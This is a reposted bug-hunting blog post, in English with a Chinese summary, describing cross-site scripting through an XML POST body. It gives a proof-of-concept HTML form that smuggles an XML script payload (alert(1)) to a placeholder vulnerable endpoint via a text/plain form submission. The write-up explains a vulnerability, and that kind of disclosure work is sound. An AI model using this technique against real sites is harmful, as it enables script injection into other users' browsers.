XSS via XML POST

最新推荐文章于 2025-09-11 23:21:03 发布

转载最新推荐文章于 2025-09-11 23:21:03 发布 · 41 阅读

0 ·

CC 4.0 BY-SA版权

原文链接：http://www.cnblogs.com/hackforfun/p/5894499.html

文章标签：

#php

本文介绍了一种通过HTML表单发送恶意XML数据来触发XSS攻击的方法，并提供了一个概念验证示例。该方法适用于那些接受XML输入并将其解析为HTML的站点。

I was bug hunting on a site which looked like this:

POST /snip/snippet.php HTTP/1.1 
<?xml version="1.0"?>

I tested in BURP for XSS in XML, and it worked. Now I have to get this to work via a browser. I was a bit stuck of sending XML in a HTML form POST and google didn’t yeild me any results, but I worked out how. Below is my PoC:

<html> <body> <form ENCTYPE="text/plain" action="http://vulnsite.com/snip/snippet.php" method="post"> <input type="hidden" name="<foo> <html xmlns:html='http://www.w3.org/1999/xhtml'> <html:script>alert(1);</html:script> </html> </foo>"> <input type="submit" value="submit"> </form>

Upon pressing “Submit”, the XSS in the XML is sent, and executes. And there we have it.. XSS in a XML post via a HTML form. Turns out adding the input name as the XSS will allow it to be executed.

Note: Turns out all endpoints on the target site are vulnerable to this.. they’re going to have fun patching this. ;)

转载于:https://www.cnblogs.com/hackforfun/p/5894499.html